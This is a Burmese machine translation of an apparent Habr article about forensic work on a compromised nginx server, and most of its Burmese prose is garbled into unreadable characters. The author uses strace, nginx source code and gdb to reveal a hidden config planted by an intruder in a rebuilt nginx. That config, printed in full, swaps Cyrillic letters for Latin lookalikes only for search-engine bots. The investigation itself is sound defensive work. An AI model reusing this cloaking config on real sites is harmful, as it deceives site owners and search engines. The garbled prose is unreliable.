áá»áœááºáá±á¬á·áºáá°áááºáá»ááºážáá áºáá±á¬ááºá¡ááœáẠá áááºááá±á¬ááºážá áá¬á¡áá±á¬ááºážáá¯á¶áž áá¬ááºáááºážáá áºáá¯ááºááŒá áºáá²á·áááºá áá«áá±ááá·áº áá®áá±ážááºá¡ááœáẠá¡áááºáááŒá±áááá¯á áá«áᬠáá»áœááºáá±á¬á·áºá¡ááœáẠáá»á±á¬áºááŒá±ááŸá¯áá áºáá¯áá«áá²á
áá«á·áá°áááºáá»ááºážá áá±á¬áºáá±á¬áºááá¯ážáááºááá¯á· ááŒá±á¬ááááºá UNIX-user: á
áá
áºááᯠááá¯ááºááá¯ááºááá·áºááœááºážááá¯ááºáááºá mysql, php ááá¯ážááŸááºážáá±á¬ áááºáááºáá»á¬ážááᯠááŒá¯áá¯ááºáá«á nginx.
ááŒá®ážáá±á¬á· áá°á·ááŸá¬ áá±á¬ááºáá¯ááºáá±ážáááááá¬ááœá±á¡ááœáẠáááºááœááºáá¬ážáá²á· áááºááá¯áẠáá
áºáá«ááẠáá«ááŸááá¯áẠáá
áºáá¬áá®ááœá² ááŸááááºá
chainsaws á¡ááœáẠáááºááœáŸááºážáá¬ážáá±á¬ á€ááá¯ááºáá»á¬ážáá²á០áá
áºáá¯ááẠááŸá¬ááœá±áá±ážá¡ááºáá»ááºáá»á¬ážá ááááºáááºážááœáẠá¡ááá¯ááºá¡áᬠáááºáááºáá±áá«áááºá á€ááá¯ááºááẠá
á®ážááœá¬ážááŒá
áºááá¯ááºáá±á¬ áá±áááºáá¯á¶ážáááºáá°ááŒá
áºáá±á¬áºáááºáž áá
áºá
á¯á¶áá
áºáŠážá០áááºážááᯠááá¯ááºááá¯ááºááá·áºá¡áá±á·á¡áááá¯á· áá±á¬ááºááœá¬ážáááºá á¡á²áá« DDoSááá¯á·áá±á¬áẠáááºá
ááºááŒááºážááŒá¯ááºáá±á¬á¡áááºážá¡ááŒááºá ááá¯á·áá±á¬áẠáááºážááá¯á·ááẠáá
áºáááºážáá±á¬ááŸááºáá»ááºáá»á¬ážáá±ážáá¬ážááŒá®áž hosting ááŸáá·áº RKN ááá¯á· á¡ááœá²áá¯á¶ážá
á¬ážáá¯ááºááŸá¯áá»á¬áž áá±ážááá¯á·ááŒáááºá
áá¯ááºáááẠá¡áá¬á¡á¬ážáá¯á¶áž ááŒáááºáááºááœá¬ážáᬠá€ááŒáááºáááºááŸá¯ááẠááá±á¬ááºážáá±á¬á·áá²á ááá¯ááºááẠááŸá¬ááœá±ááŸá¯ááááºáá»á¬ážá ááááºáááºážááá¯ááºážáá»á¬ážááᯠáááŒááºážááŒááºáž áá»ááºáá¬ážáá²á·áá±áá±á¬á·áááºá
á¡á²áá«á á¡ááºááºáááºááá¯ááºááá¯ááºáá²á· áá¬ááºáááºážáá«á
áá¯ááºážááŒááºáá¬áá±á¬á¡áá«ááœáẠá¡áááºáá¬áááºáá«áá®ážááŒá
áºáááº- "á
ááºážá áá«á·áá¬áá¬ááᯠáááŒáá·áºáá°ážáá¬ážá áááºááºáá¶ááááºááá¯á· áááºááááºá áááºáá±áááŒááá¯ááºáá±ááá·áº áá¶á
á¬ážáá»ááºá áá¯á¶ážáááºáá±á¬ááºááŒá¬á¡á±á¬áẠááá¬ážáá²á·áá«á á¡ááŒá±á¬ááºááœááºáá±á¬áá«ááᯠáá¯áááá¯á· á¡áá»áááºáááºááŒá®ááŒá
áºááá¯ááºááá¬ážâ
á¡á±á¬ááºáá«á¡ááá¯ááºáž á¡áá»ááºážáá»á¯á¶ážááŒá®áž áá¬áá®áááºááŒá¬ ááœá±ážááœá±ážáá²á·áá«áááºá
- áááºáá¬á¡ááœáẠááŒá±áá®ááœáŸá¬ááẠá¡áá±á¬áºáá±áž ááŒá±ááŒáá¬áá±á¬ááºážáááºá
- ááá¯ááºááá¯ááºáá°áá áºáŠážááẠá á°áá«á¡áá¯á¶ážááŒá¯áá°á¡ááœáá·áºá¡áá±ážááᯠáááŸáááá¯ááºáááºá
- ááá¯ááºááá¯ááºááŸá¯ (ááŒá áºááœá¬ážáá²á·áá»áŸááº) ဠsite ááœáẠá¡áá°ážáá áºááŸááºáá¬ážáá¶ááááºá
- ááŒá¿áá¬á§áááá¬áá»á¬ážááᯠááŒá¯ááŒááºááŒá®ážááŒá áºá ááá¯ážáá±á¬ááºáááºáá±á¬ááºááŸá¯ ááŸááááŸá áá¬ážáááºáááºáᬠááá¯á¡ááºáá«áááºá
- áááºááºááẠááá¯ááºáá¯ááºááŸáá·áº áá±áá¬áá±á·á áºáá»á¬ážááᯠáááááá¯ááºá á±ááá¯ááºáá«á
áá±á¬ááºáá¯á¶ážá¡áá»ááºááŸáá·áºá ááºáá»ááºážá
á¡ááŒá°áá±á¬áẠFrontend IP ááᬠááá¹áá¬ááŒá®ážááᯠááŸááºážááŒáá·áºáááºá http(s) ááŸááœá²á backends ááŸáá·áº frontend á¡ááŒá¬áž áááŸááºááŸá¯ áááŸááá«)á á¡áá¯á¶ážááŒá¯áá°áá»á¬áž/á
áá¬ážááŸááºáá»á¬áž ááœá²ááŒá¬ážáᬠáá±á¬á·áá»á¬áž áá²ááŸááºááŒááºáž áááŸááá«á áá®ážááá¯ážáá±á¬ááºááááºá
á¬áá»á¬ážááœáẠ80/443 ááŸááœá²á ááááºáááºážáá»á¬ážá¡á¬ážáá¯á¶ážááᯠááááºáá¬ážáááºá White backend IP áá»á¬ážááᯠMikhail áá¯á¶ážáá¯á¶ážáá¯á¶ááŒááºáá±á¬ á¡áá¯á¶ážááŒá¯áá°ááŸá
áºáŠážááŸáá¬áá»áŸáẠááááŸááá«áááºá
ááŸá±á·áááºážááœáẠáááºáááºáá¬ážáááºá debian 9 áá±á«áºááá¯ááŸá¯ááŒá¯áá¯ááºáá±á¬á¡áá«ááœááºá á áá áºááẠááŒááºá firewall ááŒáá·áº ááá¹áá¬ááŸáá·áº ááœá²áá¯ááºááŒá®áž áááºááœá¬ážáá«áááºá
âá¡áá¯áá±á áá«á·ááᯠáááºááœáá·áºááŒá¯áá«â áᯠáá áºáá¬áá®ááŒá¬áá»áŸ áá¡áááºááẠáá¯á¶ážááŒááºááá¯ááºáááºá "áá«á·áá»ááºá ááá²á·ááŒááºáááºá"
á€áá±áá¬ááŸáá·áº áá±á¬ááºáááº-
$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1
ááŒá áºááá¯ááºáá»á±ááŸááá²á· áááºáá¬ááᯠááŸá¬ááœá±áá±áá«áááºá
áá»áœááºá¯ááºááẠáá¬áá¬ááᯠááááá¯á¶áž á áááºáááºá áááºáááºáá±ážáá¯ááº. áá»áœááºáá±á¬áºááẠdisk áá»á¬ážááá¯áááºáááºááŒá®ážáááºážááá¯á·ááá¯ááŸááºáá«á á¡áá±á¬ááºá¡áá¬áž-áá áºáá¯á¶ážáá»á¬ážá áááá¯ááºážááŒá áºááá¯ááºáááºá áá¯á¶ááŸáẠcracker áᬠáá°á·ááá¯ááºáá° ááŸááºážááœá¬ážáááá·áºáááºááá¯áᬠáá¬ážáááºáá±ááá·áº ááŒá áºááá¯ááºááẠMisha áᬠáá°á·ááá¯ááºáá° ááŸá¬áá±áá»áááºááŸá¬ á¡áá»á¬ážááŒá®áž "áááºážáááá±ááŒá®" ááá¯á· áá¬ážáááºáá¬ážáá±ááá·áºá á áá áºááŸááºáááºážááœá± á áááŒáá·áºá ááŒá áºááá¯ááºáááºá .
áá»áœááºá¯ááºááẠáá¯á¶ááŸááºáá¯ááºááœáẠá
áááºá ááŸá¬ááœá±áááá·áºá¡áá¬ááᯠá¡ááŸááºáááẠáá¬ážááááºáá±ážáá«á áá»áœááºá¯ááºááẠááŒááºáááºááŸá¯áá»á¬ážááᯠáá±á·áá¬áá«áááºá ááááá¯á¶ážá¡áá±áá²á· áá»áœááºáá±á¬áºá
áááºáááºá
á¬ážáááºá nginx áá±áá°áá»á¡á¬ážááŒáá·áºáá±á¬á· ááŸá±á·áááºážáááœá²ááá¯á· áááŒá¬ážáá¬ááŸáááŸááá«áá°ážá
configs áá»á¬ážááẠáá±ážáááºáááºá ááá¯ááºáá
áºáá«áááºááœáẠáá±á¬ááºážááœááºá
áœá¬ááœá²á·á
ááºážáá¬ážáááºá áááºážááá¯á·ááᯠáá»áœááºá¯ááºááŒáá·áºáá¯á¶áá¬ááŒá
áºáááºá ááŒá±á¬ááº'á¡áᯠáá
áºáá¯ááŒá®ážáá
áºáá¯á á¡áá¬á¡á¬ážáá¯á¶ážá ááá·áºááŸááºážáá±áá¯á¶ááá±ááá·áº áá
áºá
á¯á¶áá
áºáá¯ááᯠááœá²áá»á±á¬áºááœá¬ážááá¬ážááá áá«áááºá
á¬áááºážá¡ááŒáá·áºá¡á
á¯á¶ááᯠáá±ážáá«áá
á±á
$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful
"á á¬áááºážáááºááŸá¬áá²" áá¬ážááááºáá«á
$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module
á á¬áááºážáá±ážááœááºážááœáẠáá¯ááááá±ážááœááºážááᯠáá±á«ááºážááá·áºáááº- "á¡áááºááŒá±á¬áá·áº á€áá²á·ááá¯á· ááŸá±ážáá»áá±á¬ nginx áá¬ážááŸááºážááᯠá¡áá¯á¶ážááŒá¯áááááºážá
ááá¯á·á¡ááŒááºá áá±á¬ááºáá¯á¶ážááœááºáá¬ážááŸááºážááᯠááá·áºááœááºážáá¬ážááŒá±á¬ááºáž á áá áºá áá¯á¶ááŒááºáááº-
$ dpkg -l nginx | grep "[n]ginx"
ii nginx 1.14.2-2+deb10u1 all small, powerful, scalable web/proxy server
áá«áá±á«áºáá±áááº
- Mishaá áááºážáá¬ááá¯á·ááŒááºá
á¯áá¬áá²á nginx?
- áááá±á áá«ááᯠáááºááá¯áá¯ááºáááŸááºážáá±á¬áẠááááá±á¬á·áá°ážá
- áá±á¬ááºážááŒá® á¡áááºáá±á¬á·...
Nginx áááºážááᯠááŸááºážáááºážá áœá¬ ááŒááºáááºáááºáá±á¬ááºáá¬ážááŒá®áž â-Tâ ááᯠá¡áá¯á¶ážááŒá¯áá¬ážáá±á¬ á á¬áááºážáááááºááᯠá¡ááŒá±á¬ááºážááŒáá»ááºááŒáá·áº ááŸááºáá¬ážáááºá áááºáá¬ááŸáá·áºáááºáááºá áá¶áááá»á¬ážáááŸááá±á¬á·áá² áááºážááᯠááá¯ážááá¯ážááŸááºážááŸááºážáááºáá¶ááá¯ááºááŒá®áž (áá¬áá²ááŒá áºááŒá ẠMisha á áá¬áá¬ááᯠá¡áá áºáá áºáá¯áá²á· á¡á á¬ážááá¯ážáá²á·á¡ááœááº) ááŒá¿áá¬ááᯠááŒá±ááŸááºážááá¯á· á ááºážá á¬ážáá«á
á¡ááŸááºá áá áºá á¯á¶áá áºáá±á¬ááºááẠá¡ááœáá·áºá¡áá±ážááᯠááá±á¬ááŒá±á¬áá·áºááŒá áºáááºá á¡ááŒá áº'á¡ááºáž áá«ááᯠáá¯ááºááᬠá¡áááá¹áá«ááºááŸááááºá á áá áºá¡á¬áž ááŒááºáááºááá·áºááœááºážáá«áá¡á²áá®ááŸá¬ ááŸá¬ážáá¬ááᯠááŸá¬ááá¯á·á á¡áá¯á¶ážááááºáá±ááá·áº áá®áá áºáá« áááá»ááºá áááºá á¡áááºáá±ážáá»ááºááœá¬ážáááºá áá«ááá¯á·áá®á áá°ááá¯á· áá¯á¶ážááœááºáá»ááºáá±áá¬ááœá±ááᯠáá«ááá¯á· áááºááá¯ááŸá¬ááá¯ááºááá²á
ááŒá±áá¬áá¶ááŒáá·áºáá¡á±á¬ááº-
$ strace nginx -T
á¡á²áá«ááᯠááŒáá·áºááá¯ááºáá±á¬á· trace a la ááŸá¬ áá¯á¶áá±á¬ááºáá²á· ááá¯ááºážááœá± áááŸááᬠáááºááŸá¬ážáá«áááºá
write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf) = 21
write(1, "...
write(1, "n", 1
á¡áá»á±á¬áºááá±á¬áá»áŸáá¬á ááœá±á·ááŸááá»ááºáá»á¬ážááᯠááŸáá¯ááºážááŸááºááŒáá·áºááŒáá«á áá¯á·á
$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264
áá¯ááºáá²á· á¡á áááºá¡ááá¯ááºážááá¯á· áááºáá«áááºá /src/core/nginx.c
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 1;
break;
áá¯á¶á á¶ááá¯á· áá°áá±á¬ááºáá¬áá«áááº-
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
//ngx_dump_config = 1;
break;
ááá¯á·ááá¯ááº
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 0;
break;
ááá¯á·ááŒá±á¬áá·áº "-T" ááŒáá·áºá á¬áááºážááá¯ááŒááááºááá¯ááºáá«á
ááá¯á·áá±á¬áº áá»áœááºá¯ááºááá¯á·á config ááᯠáááºááá¯á·ááŒáá·áºááŸá¯ááá¯ááºáááºáááºážá
áá«á·á¡ááœá±ážááŸááºááẠááŒá¿áá¬á ááááºážááŸááºáá²ááŸá¬áá²ááŸááááºá ngx_dump_config áá¯á¶ážááŒá®áž install áá¯ááºááŒáá·áºáá¡á±á¬áẠgdbáá¶áá±á¬ááºážáá¬á áá±á¬á·áá áºáá¯ááŸááááºá --with-cc-opt -g áá á¹á á¯áá¹áááºááŸá¬ á¡áá±á¬ááºážáá¯á¶ážááŒá áºá¡á±á¬áẠáá»áŸá±á¬áºááá·áºáá«áááºá -O2 áá«ááá¯á·ááᯠááááá¯ááºááŸá¬ááá¯ááºáá°ážá áá áºáá»áááºáááºážááŸá¬ááá¯áá±á¬á· áááºááá¯áá²ááááá°ážá ngx_dump_config ááœáẠáá±á¬ááºááœááºááá¯ááºáááºá 'T' ááá á¹á -á€ááá±á¬ááºááᯠáá»áœááºá¯ááºááá¯á· áá±á«áºááá¯áááºááá¯ááºáá±á¬áºáááºáž áááºážááᯠá¡áá¯á¶ážááŒá¯á ááá·áºááœááºážáá«á case 't':
áá¬ááŒá±á¬áá·áº '-t' áá²á· '-T' ááᯠáá¯á¶ážááá¬áá²áBlock Processing if(ngx_dump_config) á¡ááœááºážáááŒá áºáá»áẠif(ngx_test_config):
if (ngx_test_config) {
if (!ngx_quiet_mode) {
ngx_log_stderr(0, "configuration file %s test is successful",
cycle->conf_file.data);
}
if (ngx_dump_config) {
cd = cycle->config_dump.elts;
for (i = 0; i < cycle->config_dump.nelts; i++) {
ngx_write_stdout("# configuration file ");
(void) ngx_write_fd(ngx_stdout, cd[i].name.data,
cd[i].name.len);
ngx_write_stdout(":" NGX_LINEFEED);
b = cd[i].buffer;
(void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
ngx_write_stdout(NGX_LINEFEED);
}
}
return 0;
}
áá¯ááºááᯠáá®á¡ááá¯ááºážááŸá¬ ááŒá±á¬ááºážááŒá®áž áááá·áºááẠáá¯ááºáá«áááºá 'T' ááá á¹á -áá«ááá¯ááẠáá«á·áááºážáááºážá á¡áá¯ááºáááŒá áºáá°ážá
nginx.conf ááᯠá ááºážáááºáá«áá¡ááá¯áá«ááŒá¿áá¬ááᯠá ááºážáááºááŒá±ááŸááºážááŒá®ážáááºááŸáá·áºá Malware á¡áá¯ááºáá¯ááºáááºá¡ááœáẠá¡áááºážáá¯á¶ážááœá²á·á ááºážáá¯á¶ááœá²á·á ááºážáá¯á¶ááá¯á¡ááºááŒá±á¬ááºáž ááœá±á·ááŸáááá«áááºá nginx á¡áá»áá¯ážá¡á á¬áž-
events {
}
http {
include /etc/nginx/sites-enabled/*;
}
áá±á¬ááºážáá«ážááœáẠá¡ááá¯áá»á¯á¶ážá¡ááœáẠáááºážááᯠáá»áœááºá¯ááºááá¯á· á¡áá¯á¶ážááŒá¯áá«áááºá
áá®áá¬ááá«ááá¯ááœáá·áºáá«á
$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188 src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}
http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map П:$sign_user_agent:$sign_uri $sign_o
{
П:1:0 o;
default П;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'П' $sign_o;
sub_filter 'а' $sign_a;
include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:
[Inferior 1 (process 32581) exited normally]
(gdb) quit
áá áºááá·áºáá»ááºážá á®
- function ááœáẠbreakpoint ááá¯áááºááŸááºáá«á á¡ááá ()
- á¡á á®á¡á ááºááá¯á áááºáá«á
- config á output ááá¯áá¯á¶ážááŒááºááá·áº variable ááááºááá¯ážááá¯ááŒá±á¬ááºážáá²áá«á ngx_dump_config=1
- á¡á á®á¡á ááºááᯠáááºáááº/á¡áá¯á¶ážáááºáá«á
áá»áœááºá¯ááºááá¯á·ááŒááºááá¯ááºáááºá¡ááá¯ááºážá á¡á á áºá¡ááŸáẠconfig áááºáá»áœááºá¯ááºááá¯á·ááá¯á¶á á¶ááŸáá·áºááœá²ááŒá¬ážáááºá áááºážááŸáááºáá«ážá¡á áááºá¡ááá¯ááºážáá áºáá¯ááá¯áá»áœááºá¯ááºááá¯á·ááœá±ážáá»ááºáááº-
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map П:$sign_user_agent:$sign_uri $sign_o
{
П:1:0 o;
default П;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'П' $sign_o;
sub_filter 'а' $sign_a;
áá®ááŸá¬áá¬ááœá±ááŒá áºáá±áá² á¡á á®á¡á á¥áºááŒáá·áºáá¡á±á¬ááºá
áá¯á¶ážááŒááºáááºá user-á¡á±ážáá»ááºá·á yandex/google-
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
áááºáá±á¬ááºááŸá¯á á¬áá»ááºááŸá¬áá»á¬ážááᯠáááºáá¯ááºáá¬ážáááºá wordpress:
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
á¡áááºáá±á¬áºááŒáá« á¡ááŒá±á¡áá±ááŸá áºáá¯áá¯á¶ážá á¡á±á¬ááºááœáẠáá»áá±á¬ááºáá±áá±á¬ áá°áá»á¬ážá¡ááœááº
map П:$sign_user_agent:$sign_uri $sign_o
{
П:1:0 o;
default П;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
á á¬áá¬ážáá²ááŸá¬ html- á á¬áá»ááºááŸá¬áá»á¬ážááŒá±á¬ááºážáá²ááŒááºážá 'á¡áá¯' á¡áá±á«áº 'o' О 'A' á¡áá±á«áº 'a':
sub_filter_once off;
sub_filter 'П' $sign_o;
sub_filter 'а' $sign_a;
ááŸááºáá«áááºá áá áºáá¯áááºážáá±á¬ ááááá¬ááºááá±á¬á· á¡á²áá«áá«áá²á 'á' != 'á' áááºážáá² 'o' != 'o':
ááá¯á·ááŒá±á¬áá·áºá ááŸá¬ááœá±áá±ážá¡ááºáá»ááºáá±á¬á·ááºáá»á¬ážááẠáá¬ááẠ100% Cyrillic á
á¬áá¬ážá¡á
á¬áž áááºáááºááŒáá·áº ááœááºážáá¶áá¬ážáá±á¬ á¡ááŸáá¯ááºáá»á¬ážááᯠáááºáá¶áááŸáááẠ'a' О 'o'. áááºážááẠSEO ááá¯áááºááá¯á·á¡áá»áá¯ážáááºáá±á¬ááºáááºááá¯áá»áœááºá¯ááºáááœá±ážááœá±ážáá¶á·áá«á ááá¯á·áá±á¬áºááá¯áá²á·ááá¯á·áá±á¬á
á¬áá¯á¶ážáá»á¬ážááŸá¯ááºááœá±ážááŒááºážáááºááŸá¬ááœá±ááŸá¯ááááºáá»á¬ážááœááºáá¬áá°ážáá»á¬ážá¡ááœááºá¡ááŒá¯ááá±á¬áá±á¬ááºáá±á¬á¡áá»áá¯ážáááºáá±á¬ááºááŸá¯ááŸááááá·áºáááºááá¯ááºáá«á
á áááºáá°ážáááºáááºáá²á·áá±á¬ááºááœá± áá¬ááŒá±á¬áááá²á
ááá¯ážáá¬áž
source: www.habr.com